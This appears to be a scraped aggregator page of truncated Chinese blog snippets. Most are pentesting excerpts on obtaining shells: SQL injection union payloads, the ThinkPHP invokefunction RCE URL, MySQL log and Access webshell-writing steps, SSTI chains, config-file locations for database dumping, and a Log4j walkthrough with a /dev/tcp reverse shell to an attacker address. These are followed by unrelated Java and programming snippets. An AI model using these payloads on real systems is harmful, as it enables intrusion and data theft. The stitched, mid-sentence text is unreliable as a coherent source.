- 反弹shell
Angile.
网络web安全
知识铺垫什么是shellshell是渗透中常用的名词,像getshell,webshell,反弹shell等等,都和shell相关。getshell:获取到目标的命令执行权限webshell:指网站后门,通过web服务进行命令执行反弹shell:把命令行的输入输出转移到其它主机Shell俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(命令解析器)。它类似于DOS下的command.co
- 第61天-服务攻防-中间件安全&;CVE 复现&;K8s&;Docker&;Jetty&;Websphere
花开的季节293
程序员中间件安全kubernetes
(2)CVE-2021-28169路径限制绕过漏洞(3)CVE-2021-34429敏感信息泄露漏洞3、Docker(1)CVE-2016-5195(环境搭建失败)(2)CVE-2019-5736(环境搭建失败)(3)未授权访问漏洞4、WebSphere(1)CVE-2015-7450反序列化漏洞(2)弱口令&后台getshell(3)CVE-2020-4450反序列化远程代码执行漏洞(无poc/
- 2020数字中国创新大赛-虎符网络安全赛道丨Web Writeup
网络安全queen
web安全前端安全
本文是i春秋论坛作家「OPLV1H」表哥参加2020数字中国创新大赛-虎符网络安全赛道线上初赛的赛后总结,关于Web的Writeup记录,感兴趣的小伙伴快来学习吧。1、hash_file—是使用给定文件的内容生成哈希值,和文件名称无关。2、jwt令牌结构和jwt_tools的使用。3、nodejs沙箱溢出进行Getshell。正文Web1BabyUpload直接贴出源码getMessage();}
- 数据库脱裤
ALe要立志成为web糕手
网络安全adbwindowsmysqlmssql数据库web安全网络安全
假设你已经getshell找到mysql账号密码。网站要连接mysql,就需要把mysql的账号密码保存在一个php文件中,类似config.php、common.inc.php等,在shell中,读取这些文件,找到其中信息即可下面是一些常见平台的配置文件:discuz:config.inc.phpucenter:data/config.inc.phpphpwind:data/sql_config
- SQL注入
ALe要立志成为web糕手
网络安全数据库oraclesql
对上一篇文章的进一步说明,补充了报错注入和sql注入getshell0x01:联合查询注入常用语句:/?id=1'and1'='2或/?id=1and1=2//判断是字符型注入还是数字型注入//下面以字符型为例/?id=1'unionselect1,2,3#//爆回显位/?id=1'unionselect1,2,database()#//爆数据库名/?id=1'unionselect1,2,gro
- sqlmap使用总结
牛顿编程
工具专区sqlshell数据库
sqlmap使用总结sqlmap功能1.基本用法2.使用sqlmap探测waf并绕过3.python脚本绕过网站4.伪造httpreferer头部探测风险等级5.执行语句6.从数据库读文件7.上传文件到数据库sqlmap功能对http不同的字段探测sql注入漏洞,获取数据库权限,获取数据指定脚本(–temper)绕过防火墙设置代理,隐藏网络,避免被检测getshell,获取系统权限,sql权限等。
- 常见框架漏洞:Thinkphp(TP)篇
与神明画鸭
Thinkphptp漏洞
简介ThinkPHP(简称TP)是一款流行的国产开源PHP框架,遵循MVC(Model-View-Controller)设计模式,以简洁、高效、灵活著称,广泛应用于国内中小型Web项目开发。Thinkphp5x远程命令执行及getshell原理rce过程打开网站?s=/Index/\think\app/invokefunction&function=call_user_func_array&var
- Web安全之命令执行getshell
Shadow_143
phpshellweb安全网络安全
命令执行漏洞简介原因应用未对用户输入做严格得检查过滤,导致用户输入得参数被当成命令来执行。危害1.继承Web服务程序的权限去执行系统命令或读写文件2.反弹shell,获得目标服务器的权限3.进一步内网渗透远程代码执行因为业务需求,在PHP中有时需要调用一些执行命令的函数,如:eval()、assert()、preg_replace()、create_function()等,如果存在一个使用这些函数
- 利用命令注入getshell
carefree798
漏洞复现安全安全漏洞powershellshell
利用命令注入getshell靶机ip:192.168.41.129kali:192.168.41.128任务:靶机存在命令注入漏洞,获取靶机权限。漏洞原理命令执行直接调用操作系统命令。其原理是,在操作系统中,“&、|、I都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户输入的情况下,造成命令执行漏洞
- 数据库命令执行Getshell
amd6700k
渗透测试
Access导出Access可导出xxx等文件需要配合解析漏洞createtablecmd(avarchar(50));insertintocmd(a)values('一句话木马')#一句话木马如:select*into[a]in'e:\web\webshellcc\1.asa;x.xls''excel4.0;'fromcmddroptablecmd菜刀直连https://www.xxx.com/
- 渗透测试之利用sql拿shell(附完整流程+防御方案)【下】
豪门土狗
渗透测试数据库网络安全笔记sql
导读:时刻保持谦逊,始终保持学习,探寻事物的本质,不要把事情复杂化话不多说,书接上回三、利用日志getshell利用条件:拥有网站的写入权限知道网站的绝对路径数据库日志开启实际操作:(1)查看数据库日志是否开启以及路径showvariableslike'%general%';(2)开启日志功能修改general_log的值为ONsetglobalgeneral_log="ON";修改文件路径;注意
- 【网络安全 | PHP代码审计】YXcms
秋说
web安全php漏洞挖掘代码审计
原创文章,禁止转载。文章目录环境配置1.4.5版本安装1.2.1版本安装代码审计session伪造实现账户接管XSSGetshellXSS漏洞无回显SQL注入默认密钥下的SQL注入SQL显错注入未授权+代码执行任意文件删除1任意文件删除2YXcms是一款基于PHP+MySql开发的网站管理系统,采用轻量级MVC设计模式。环境配置1.4.5版本安装安装地址:https://github.com/cc
- 307 跳转 getshell
饮长安千年月
WEB安全网络安全网络安全
307跳转getshell前言没事网上乱翻阅,看到了p神的一个文章,通过307去getshell,说实话,真的是觉得思路很妙,特别是利用的过程,这里属实是学习了。怎么说心里面的感觉呢,就是关关难过,但是关关过前面是用的靶场环境,然后因为一直要开启的原因,后面自己搭建了一个环境搭建首先开启docker的api下面会讲的,就不说了首先我们可以自己搭建环境,需要开启docker的api接口然后安装min
- ssti注入
m0_73818134
flaskpython
flask有个明显的特征就是服务器模板,把用户输入的回显到web页面,一般在用户交互的地方(输入/输出),这个要用python去构造链子去执行python命令,来getshell。一般的注入是get型的如{{7*7}},{%7*7%},{#7*7#},还有{%print(7*7)%}.一般的链子1().__class__.__base__.__subclasses__()[140].__init_
- web 安全 xss 蓝莲花平台获取服务器过程
lin_1226
web安全安全
xss分类xss跨站脚本攻击分为:反射型,存储型(存储在数据库等),DOM型反射型非持久型,攻击方式具有一次性,每次需要输入弹出,出现在URL中作为参数请求服务器,服务器解析并响应存储型持久型,存在服务器上,数据库、文件等DOM型xss平台——拿到后台——提权——拿服务器密码过程搭建蓝莲花平台利用xss平台拿到的cookie,登录后台利用漏洞上传一句话木马菜刀连接,getshell上传cmd、pr
- 【网络安全-SQL注入(4)】一篇文章带你了解sql server数据库三大权限,以及三大权限的SQL注入,SQL注入点利用以及getshell_sqlsever数据库报错注入
2401_84970893
程序员数据库web安全sql
##询所有数据库名,除了masterand(selecttop1namefrommaster..sysdatabaseswherenamenotin('master'))>0##查询所有数据库名,除了master,iNethinkCMSand(selecttop1namefrommaster..sysdatabaseswherenamenotin('master','aini'))>0##查询所有
- 文件包含+文件上传漏洞(图片马绕过)
郑居中3.0
web漏洞文件包含文件上传图片马php伪协议
目录一.文件包含二.文件上传三.图片马四.题目一.文件包含将已有的代码以文件形式包含到某个指定的代码中,从而使用其中的代码或者数据,一般是为了方便直接调用所需文件,文件包含的存在使得开发变得更加灵活和方便(若对用户输入的数据不严格的过滤,会导致信息泄露,getshell等风险)常见文件包含函数include():当文件发生错误时,提出警告,脚本继续执行include_once():如果文件被包含过
- 渗透某巨型企业某个系统的奇葩姿势
zkzq
网络安全渗透测试漏洞
本文由掌控安全学院-urfyyyy投稿前言这个月都在做一个巨型合作企业的渗透测试,这个系统本无方式getshell,得亏我心够细,想的多,姿势够骚。文中重码,且漏洞已修复。过程找到getshell点目标系统功能很少,基本上就是一个展示页面,没有增删改功能,仅能查,基本上半小时不到就把所有功能都看完了,完全没有能getshell的功能点此时查询功能的一个url引起了我的怀疑,反手随便搜索了一个123
- pwn旅行之[WUSTCTF 2020]getshell2(一些小知识)
晓幂
安全
题目分析1首先打开这个题目的链接的时候,看到了ret2syscall,以为是一个纯正的syscall的题,结果,做的时候发现这个题的危险函数限制的字符串个数不足以写入syscall需要的所有地址,所以,这里参考dalao们的方法,/做出了这道题,这里记录一下。首先,checksec看一下这个题目的保护以及架构:是一个32位小端序程序,开了栈不可执行的保护,所以初步判断,stack的ret2shel
- 【操作系统】Kali Linux v2023.4 官方版(超详细,保姆级教程)
勇敢许牛牛在线大闯关
网安工具linux安全学习网络安全
镜像下载镜像链接:【操作系统】KaliLinuxv2023.4官方版-极核GetShell(get-shell.com)其他镜像链接:(按需下载):在这里我选择的清华源,点击直链下载后面的链接进行下载。需要其他镜像文件的可以前往官网地址或者其他源镜站进行下载。安装kali1.打开Vmware首页,创建新的虚拟机。2.在这里,我们选择简单一点的安装方式-典型安装3.选择稍后安装操作系统4.选择Lin
- [BUUCTF]-PWN:mrctf2020_easy_equation解析
Clxhzg
PWN网络安全安全
查看保护再看ida很明了,题目就是让我们用格式化字符串漏洞修改judge的值(可以用python脚本进行计算,最终算出来得2)使等式成立,然后getshell。虽然操作比较简单,但我还是列出了几种方法解法一:frompwnimport*context(log_level='debug')p=process('./equation')judge=0x60105Cpayload=b'bb'+b'%9$
- 数据库攻防学习之MySQL
MySQL0x01mysql学习MySQL是瑞典的MySQLAB公司开发的一个可用于各种流行操作系统平台的关系数据库系统,它具有客户机/服务器体系结构的分布式数据库管理系统。可以免费使用使用,用的人数很多。0x02环境搭建这里演示用,phpstudy搭建的环境,然后安装phpmyadmin0x03漏洞复现日志文件包含getshell利用前提知道网站路径,mysql版本大于5.0利用条件需要可读可写
- 记一次VulnStack渗透
网安Dokii
网络安全
信息收集netdiscover的主机发现部分不再详解,通过访问端口得知20001-2003端口都为web端口,所以优先考虑从此方向下手外网渗透GetShellStruct漏洞访问2001端口后,插件Wappalyzer爬取得知这是一个基于Struct的web站点,直接考虑struct工具,一把梭发现struct2漏洞,无法完整获得webshell,只有一个RCE权限,这里可以采用这种方法:在rev
- [BUUCTF]-PWN:inndy_echo解析
Clxhzg
PWNpython开发语言安全网络安全
查看保护查看ida有格式化字符串漏洞,可以修改printf的got表内地址为system,传参getshell解法一:在32位中可以使用fmtstr_payload直接修改,免去很多麻烦完整exp:frompwnimport*p=process('./echo')p=remote('node5.buuoj.cn',25852)system_plt=0x8048400printf_got=0x804
- [BUUCTF]-PWN:wustctf2020_easyfast解析
Clxhzg
PWNpython开发语言
又是堆题,查看保护再看ida大致就是alloc创建堆块,free释放堆块,fill填充堆块,以及一个getshell的函数,但要满足条件。值得注意的是free函数没有清空堆块指针所以可以用doublefree有两种解法解法一(doublefree):完整exp:frompwnimport*context(log_level='debug')p=process('./easyfast')target
- CTF-PWN-堆-【chunk extend/overlapping-2】(hack.lu ctf 2015 bookstore)
Full-LLK
CTF-PWN-堆CTF-PWN
文章目录hack.luctf2015bookstore检查IDA源码main函数edit_notedelete_notesubmit.fini_array段劫持(回到main函数的方法)思路格式化字符串是啥呢0x开头或者没有0x开头的十六进制的字符串或字节的转换为整数构造格式化字符串的其他方法exp佛系getshell常规getshellhack.luctf2015bookstore检查got表可
- 1.30知识回顾&&SQL注入Bypass
[email protected]
sql数据库
不知不觉就一月三十日了,感觉摆着摆着就要开学了,开学的你belike:1.SQL注入GetShellsql注入其实是可以getshell的下面我们就来看一下它的两种类型1.intodumpfile要能实现这个getshell,需要满足以下条件该用户为root权限其配置secure_file_priv需要为空知道能访问得到的绝对路径于是我们就拿sqli的第二关为例我们这样构造pocunionsele
- 小白代码审计入门
墨痕诉清风
WEB及系统安全知识安全web安全
最近小白一直在学习代码审计,对于我这个没有代码审计的菜鸟来说确实是一件无比艰难的事情。但是着恰恰应了一句老话:万事开头难。但是小白我会坚持下去。何况现在已经喜欢上了代码审计,下面呢小白就说一下appcms后台模板Getshell以及读取任意文件,影响的版本是2.0.101版本。其实这个版本已经不用了,小白也是拿这个来说一下自己理解的php的代码审计。开源的CMS就是舒服,不仅可以对最新版的来做代码
- Vulnhub靶机:BOREDHACKERBLOG_ CLOUD AV
lainwith
靶机Vulnhub
目录介绍信息收集主机发现端口扫描+开放端口探测网站探测特殊字符爆破纯字典爆破命令执行Getshell方式1:python反弹shell方式2:nc反弹shell文件传输爆破SSH提权:suid提权方式1:双重nc反弹shell方式2:python+MSF反弹shell参考介绍系列:BoredHackerBlog(此系列共4台)发布日期:2020年03月29日难度:初级-中级靶机地址:https:/
- Log4j2漏洞复现
Lend me
log4j
Log4j2漏洞复现原理介绍因为Log4j2默认支持解析ldap/rmi协议,所以黑客只需构造恶意的JNDI接口,然后服务器通过log4j2解析jndi接口并调用lookup函数,使得服务器去引用黑客构造好的恶意类,从而达到getshell影响版本:log4j2.x&/dev/tcp/攻击机地址地址/攻击机端口号0>&1//由于docker容器里面没有nc,所以只能使用原生命令进行shell反弹3
- 算法 单链的创建与删除
换个号韩国红果果
c算法
先创建结构体
struct student {
int data;
//int tag;//标记这是第几个
struct student *next;
};
// addone 用于将一个数插入已从小到大排好序的链中
struct student *addone(struct student *h,int x){
if(h==NULL) //??????
- 《大型网站系统与Java中间件实践》第2章读后感
白糖_
java中间件
断断续续花了两天时间试读了《大型网站系统与Java中间件实践》的第2章,这章总述了从一个小型单机构建的网站发展到大型网站的演化过程---整个过程会遇到很多困难,但每一个屏障都会有解决方案,最终就是依靠这些个解决方案汇聚到一起组成了一个健壮稳定高效的大型系统。
看完整章内容,
- zeus持久层spring事务单元测试
deng520159
javaDAOspringjdbc
今天把zeus事务单元测试放出来,让大家指出他的毛病,
1.ZeusTransactionTest.java 单元测试
package com.dengliang.zeus.webdemo.test;
import java.util.ArrayList;
import java.util.List;
import org.junit.Test;
import
- Rss 订阅 开发
周凡杨
htmlxml订阅rss规范
RSS是 Really Simple Syndication的缩写(对rss2.0而言,是这三个词的缩写,对rss1.0而言则是RDF Site Summary的缩写,1.0与2.0走的是两个体系)。
RSS
- 分页查询实现
g21121
分页查询
在查询列表时我们常常会用到分页,分页的好处就是减少数据交换,每次查询一定数量减少数据库压力等等。
按实现形式分前台分页和服务器分页:
前台分页就是一次查询出所有记录,在页面中用js进行虚拟分页,这种形式在数据量较小时优势比较明显,一次加载就不必再访问服务器了,但当数据量较大时会对页面造成压力,传输速度也会大幅下降。
服务器分页就是每次请求相同数量记录,按一定规则排序,每次取一定序号直接的数据
- spring jms异步消息处理
510888780
jms
spring JMS对于异步消息处理基本上只需配置下就能进行高效的处理。其核心就是消息侦听器容器,常用的类就是DefaultMessageListenerContainer。该容器可配置侦听器的并发数量,以及配合MessageListenerAdapter使用消息驱动POJO进行消息处理。且消息驱动POJO是放入TaskExecutor中进行处理,进一步提高性能,减少侦听器的阻塞。具体配置如下:
- highCharts柱状图
布衣凌宇
hightCharts柱图
第一步:导入 exporting.js,grid.js,highcharts.js;第二步:写controller
@Controller@RequestMapping(value="${adminPath}/statistick")public class StatistickController { private UserServi
- 我的spring学习笔记2-IoC(反向控制 依赖注入)
aijuans
springmvcSpring 教程spring3 教程Spring 入门
IoC(反向控制 依赖注入)这是Spring提出来了,这也是Spring一大特色。这里我不用多说,我们看Spring教程就可以了解。当然我们不用Spring也可以用IoC,下面我将介绍不用Spring的IoC。
IoC不是框架,她是java的技术,如今大多数轻量级的容器都会用到IoC技术。这里我就用一个例子来说明:
如:程序中有 Mysql.calss 、Oracle.class 、SqlSe
- TLS java简单实现
antlove
javasslkeystoretlssecure
1. SSLServer.java
package ssl;
import java.io.FileInputStream;
import java.io.InputStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.security.KeyStore;
import
- Zip解压压缩文件
百合不是茶
Zip格式解压Zip流的使用文件解压
ZIP文件的解压缩实质上就是从输入流中读取数据。Java.util.zip包提供了类ZipInputStream来读取ZIP文件,下面的代码段创建了一个输入流来读取ZIP格式的文件;
ZipInputStream in = new ZipInputStream(new FileInputStream(zipFileName));
&n
- underscore.js 学习(一)
bijian1013
JavaScriptunderscore
工作中需要用到underscore.js,发现这是一个包括了很多基本功能函数的js库,里面有很多实用的函数。而且它没有扩展 javascript的原生对象。主要涉及对Collection、Object、Array、Function的操作。 学
- java jvm常用命令工具——jstatd命令(Java Statistics Monitoring Daemon)
bijian1013
javajvmjstatd
1.介绍
jstatd是一个基于RMI(Remove Method Invocation)的服务程序,它用于监控基于HotSpot的JVM中资源的创建及销毁,并且提供了一个远程接口允许远程的监控工具连接到本地的JVM执行命令。
jstatd是基于RMI的,所以在运行jstatd的服务
- 【Spring框架三】Spring常用注解之Transactional
bit1129
transactional
Spring可以通过注解@Transactional来为业务逻辑层的方法(调用DAO完成持久化动作)添加事务能力,如下是@Transactional注解的定义:
/*
* Copyright 2002-2010 the original author or authors.
*
* Licensed under the Apache License, Version
- 我(程序员)的前进方向
bitray
程序员
作为一个普通的程序员,我一直游走在java语言中,java也确实让我有了很多的体会.不过随着学习的深入,java语言的新技术产生的越来越多,从最初期的javase,我逐渐开始转变到ssh,ssi,这种主流的码农,.过了几天为了解决新问题,webservice的大旗也被我祭出来了,又过了些日子jms架构的activemq也开始必须学习了.再后来开始了一系列技术学习,osgi,restful.....
- nginx lua开发经验总结
ronin47
使用nginx lua已经两三个月了,项目接开发完毕了,这几天准备上线并且跟高德地图对接。回顾下来lua在项目中占得必中还是比较大的,跟PHP的占比差不多持平了,因此在开发中遇到一些问题备忘一下 1:content_by_lua中代码容量有限制,一般不要写太多代码,正常编写代码一般在100行左右(具体容量没有细心测哈哈,在4kb左右),如果超出了则重启nginx的时候会报 too long pa
- java-66-用递归颠倒一个栈。例如输入栈{1,2,3,4,5},1在栈顶。颠倒之后的栈为{5,4,3,2,1},5处在栈顶
bylijinnan
java
import java.util.Stack;
public class ReverseStackRecursive {
/**
* Q 66.颠倒栈。
* 题目:用递归颠倒一个栈。例如输入栈{1,2,3,4,5},1在栈顶。
* 颠倒之后的栈为{5,4,3,2,1},5处在栈顶。
*1. Pop the top element
*2. Revers
- 正确理解Linux内存占用过高的问题
cfyme
linux
Linux开机后,使用top命令查看,4G物理内存发现已使用的多大3.2G,占用率高达80%以上:
Mem: 3889836k total, 3341868k used, 547968k free, 286044k buffers
Swap: 6127608k total,&nb
- [JWFD开源工作流]当前流程引擎设计的一个急需解决的问题
comsci
工作流
当我们的流程引擎进入IRC阶段的时候,当循环反馈模型出现之后,每次循环都会导致一大堆节点内存数据残留在系统内存中,循环的次数越多,这些残留数据将导致系统内存溢出,并使得引擎崩溃。。。。。。
而解决办法就是利用汇编语言或者其它系统编程语言,在引擎运行时,把这些残留数据清除掉。
- 自定义类的equals函数
dai_lm
equals
仅作笔记使用
public class VectorQueue {
private final Vector<VectorItem> queue;
private class VectorItem {
private final Object item;
private final int quantity;
public VectorI
- Linux下安装R语言
datageek
R语言 linux
命令如下:sudo gedit /etc/apt/sources.list1、deb http://mirrors.ustc.edu.cn/CRAN/bin/linux/ubuntu/ precise/ 2、deb http://dk.archive.ubuntu.com/ubuntu hardy universesudo apt-key adv --keyserver ke
- 如何修改mysql 并发数(连接数)最大值
dcj3sjt126com
mysql
MySQL的连接数最大值跟MySQL没关系,主要看系统和业务逻辑了
方法一:进入MYSQL安装目录 打开MYSQL配置文件 my.ini 或 my.cnf查找 max_connections=100 修改为 max_connections=1000 服务里重起MYSQL即可
方法二:MySQL的最大连接数默认是100客户端登录:mysql -uusername -ppass
- 单一功能原则
dcj3sjt126com
面向对象的程序设计软件设计编程原则
单一功能原则[
编辑]
SOLID 原则
单一功能原则
开闭原则
Liskov代换原则
接口隔离原则
依赖反转原则
查
论
编
在面向对象编程领域中,单一功能原则(Single responsibility principle)规定每个类都应该有
- POJO、VO和JavaBean区别和联系
fanmingxing
VOPOJOjavabean
POJO和JavaBean是我们常见的两个关键字,一般容易混淆,POJO全称是Plain Ordinary Java Object / Plain Old Java Object,中文可以翻译成:普通Java类,具有一部分getter/setter方法的那种类就可以称作POJO,但是JavaBean则比POJO复杂很多,JavaBean是一种组件技术,就好像你做了一个扳子,而这个扳子会在很多地方被
- SpringSecurity3.X--LDAP:AD配置
hanqunfeng
SpringSecurity
前面介绍过基于本地数据库验证的方式,参考http://hanqunfeng.iteye.com/blog/1155226,这里说一下如何修改为使用AD进行身份验证【只对用户名和密码进行验证,权限依旧存储在本地数据库中】。
将配置文件中的如下部分删除:
<!-- 认证管理器,使用自定义的UserDetailsService,并对密码采用md5加密-->
- mac mysql 修改密码
IXHONG
mysql
$ sudo /usr/local/mysql/bin/mysqld_safe –user=root & //启动MySQL(也可以通过偏好设置面板来启动)$ sudo /usr/local/mysql/bin/mysqladmin -uroot password yourpassword //设置MySQL密码(注意,这是第一次MySQL密码为空的时候的设置命令,如果是修改密码,还需在-
- 设计模式--抽象工厂模式
kerryg
设计模式
抽象工厂模式:
工厂模式有一个问题就是,类的创建依赖于工厂类,也就是说,如果想要拓展程序,必须对工厂类进行修改,这违背了闭包原则。我们采用抽象工厂模式,创建多个工厂类,这样一旦需要增加新的功能,直接增加新的工厂类就可以了,不需要修改之前的代码。
总结:这个模式的好处就是,如果想增加一个功能,就需要做一个实现类,
- 评"高中女生军训期跳楼”
nannan408
首先,先抛出我的观点,各位看官少点砖头。那就是,中国的差异化教育必须做起来。
孔圣人有云:有教无类。不同类型的人,都应该有对应的教育方法。目前中国的一体化教育,不知道已经扼杀了多少创造性人才。我们出不了爱迪生,出不了爱因斯坦,很大原因,是我们的培养思路错了,我们是第一要“顺从”。如果不顺从,我们的学校,就会用各种方法,罚站,罚写作业,各种罚。军
- scala如何读取和写入文件内容?
qindongliang1922
javajvmscala
直接看如下代码:
package file
import java.io.RandomAccessFile
import java.nio.charset.Charset
import scala.io.Source
import scala.reflect.io.{File, Path}
/**
* Created by qindongliang on 2015/
- C语言算法之百元买百鸡
qiufeihu
c算法
中国古代数学家张丘建在他的《算经》中提出了一个著名的“百钱买百鸡问题”,鸡翁一,值钱五,鸡母一,值钱三,鸡雏三,值钱一,百钱买百鸡,问翁,母,雏各几何?
代码如下:
#include <stdio.h>
int main()
{
int cock,hen,chick; /*定义变量为基本整型*/
for(coc
- Hadoop集群安全性:Hadoop中Namenode单点故障的解决方案及详细介绍AvatarNode
wyz2009107220
NameNode
正如大家所知,NameNode在Hadoop系统中存在单点故障问题,这个对于标榜高可用性的Hadoop来说一直是个软肋。本文讨论一下为了解决这个问题而存在的几个solution。
1. Secondary NameNode
原理:Secondary NN会定期的从NN中读取editlog,与自己存储的Image进行合并形成新的metadata image
优点:Hadoop较早的版本都自带,